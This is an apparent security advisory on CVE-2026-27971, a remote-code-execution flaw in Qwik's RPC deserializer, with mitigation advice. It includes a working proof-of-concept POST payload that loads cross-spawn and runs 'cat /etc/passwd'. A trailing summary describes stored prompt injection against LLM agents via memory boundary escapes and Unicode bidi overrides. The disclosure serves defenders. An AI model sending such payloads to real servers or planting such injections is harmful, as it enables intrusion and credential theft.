Mar 13, 2026·6 min read·131 visits
Insecure deserialization in Qwik <= 1.19.0 allows unauthenticated attackers to execute arbitrary code via malicious RPC payloads that force the server to load arbitrary local modules.
CVE-2026-27971 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in the Qwik JavaScript framework. The flaw arises from insecure deserialization within the framework's RPC mechanism, allowing attackers to execute arbitrary server-side code by crafting malicious Qwik Reference Locators (QRLs).
The Qwik JavaScript framework implements a remote procedure call (RPC) mechanism via its server$ function, enabling client-side code to invoke server-side operations seamlessly. To pass complex objects, state, and function references between the client and server, Qwik utilizes a custom serialization format identified by the application/qwik-json content type.
This architecture expands the external attack surface by exposing internal object deserialization logic to unauthenticated HTTP requests. Vulnerability CVE-2026-27971 exists within the server-side parsing engine responsible for processing this custom JSON format. The flaw is categorized as CWE-502: Deserialization of Untrusted Data.
By submitting a maliciously crafted HTTP POST request containing specific serialized structures, an attacker forces the server to load and execute unintended modules. This results in unauthenticated Remote Code Execution (RCE) within the context of the running Node.js process, compromising the underlying host system.
The vulnerability stems from the framework's handling of Qwik Reference Locators (QRLs) during the deserialization phase. QRLs function as pointers to code that the framework should lazily load at runtime. In the serialized qwik-json payload, these references are encoded as strings prefixed with a specific control character, specifically \u0002.
When the server receives a payload containing a QRL, it invokes the internal importSymbol function to resolve and instantiate the reference. In vulnerable versions of Qwik (1.19.0 and earlier), the importSymbol function extracts the module path from the QRL string and directly passes it to the Node.js require() function.
The implementation lacks path validation or restriction against an expected manifest of safe modules. Consequently, the parser accepts arbitrary filesystem paths, allowing an attacker to specify any locally installed module. If the specified module exposes functional exports, the attacker can invoke them using the deserialized arguments provided in the same JSON payload.
An examination of the deserialization sequence reveals the exact mechanism of the vulnerability. The flawed logic extracts the module path directly from the attacker-controlled string and relies on standard Node.js module resolution without applying constraints.
// Vulnerable implementation concept
function importSymbol(qrlString) {
// Extracts the path after the control character \u0002
const [modulePath, symbol] = parseQRL(qrlString);
// Unsafe dynamic require of attacker-controlled path
const module = require(modulePath);
return module[symbol];
}The remediation introduced in Qwik version 1.19.1 addresses this by restricting dynamic module loading to a pre-defined build manifest. The application explicitly tracks which QRLs correspond to legitimate server-side functions during the compilation phase.
// Patched implementation concept
function importSymbol(qrlString, serverManifest) {
const [modulePath, symbol] = parseQRL(qrlString);
const resolvedHash = computeQrlHash(modulePath, symbol);
// Validates the requested symbol against the compiled manifest
if (!serverManifest.has(resolvedHash)) {
throw new Error('Invalid QRL: Symbol not found in server manifest');
}
// Safe execution limited to known application modules
const module = require(serverManifest.get(resolvedHash).path);
return module[symbol];
}By enforcing execution strictly against the serverManifest, the patch effectively neuters the vulnerability. Attackers can no longer force the application to load arbitrary local modules, breaking the exploitation chain at the resolution step.
Exploitation of CVE-2026-27971 requires a single, unauthenticated HTTP POST request directed at the target application. The request must include the Content-Type: application/qwik-json header to trigger the vulnerable deserialization parser. The attacker structures the payload to manipulate the _objs array, which stores the serialized data entities.
The proof-of-concept leverages the cross-spawn module, a common dependency in modern JavaScript environments, to achieve arbitrary command execution. The payload specifies \u0002./node_modules/cross-spawn/index#sync as the QRL, instructing the server to load the sync export from the cross-spawn package.
POST /?qfunc=sync HTTP/1.1
Host: target-host.example.com
Content-Type: application/qwik-json
X-QRL: sync
{
"_objs": [
"\u0002./node_modules/cross-spawn/index#sync",
"cat",
"/etc/passwd",
["2"],
["0", "1", "3"]
],
"_entry": "4"
}The framework parses the _objs array and uses the _entry key to determine the execution root. In this example, _entry: "4" points to the nested array ["0", "1", "3"], which maps the arguments cat and /etc/passwd directly into the newly resolved sync function, executing the command on the host operating system.
The successful exploitation of this vulnerability yields full, unauthenticated Remote Code Execution (RCE) on the underlying server. The arbitrary code executes with the same operating system permissions as the Node.js process running the Qwik application. This typically provides the attacker with comprehensive read and write access to the application filesystem, environment variables, and active memory.
Exposure of environment variables frequently results in the compromise of database credentials, API keys, and internal service tokens. Attackers use these extracted secrets to pivot into adjacent systems, access backend databases, or escalate privileges within the cloud hosting environment.
The vulnerability is assigned a CVSS v3.1 base score of 9.8, reflecting the severe impact, lack of authentication requirements, and low attack complexity. Quantitative risk metrics from the Exploit Prediction Scoring System (EPSS) assign a score of 0.13434 (94.07th percentile), indicating a high probability of exploitation in the wild compared to other disclosed vulnerabilities.
The definitive remediation for CVE-2026-27971 is upgrading the Qwik framework to version 1.19.1 or later. This release fundamentally alters the deserialization logic, enforcing strict validation of QRLs against a compiled manifest of legitimate server-side functions. This architectural change eliminates the insecure module loading mechanism entirely.
Organizations unable to patch immediately can implement mitigation strategies at the network layer. If the application does not rely on server$ RPC functions for specific exposed routes, security teams should deploy Web Application Firewall (WAF) rules to block HTTP POST requests containing the application/qwik-json content type. This prevents the malicious payloads from reaching the vulnerable deserializer.
Further defense-in-depth measures include strict environment hardening. Administrators should review the production node_modules directory and eliminate unnecessary dependencies, such as cross-spawn or developer tooling, that provide convenient execution gadgets. The Node.js application process must operate with the principle of least privilege, restricting filesystem access and disabling the ability to spawn interactive shells.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Qwik QwikDev | <= 1.19.0 | 1.19.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 |
| CVSS v3.1 Score | 9.8 Critical |
| Attack Vector | Network |
| Exploit Status | Proof-of-Concept Available |
| EPSS Score | 0.13434 (94.07th Percentile) |
| CISA KEV | Not Listed |
Deserialization of Untrusted Data
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.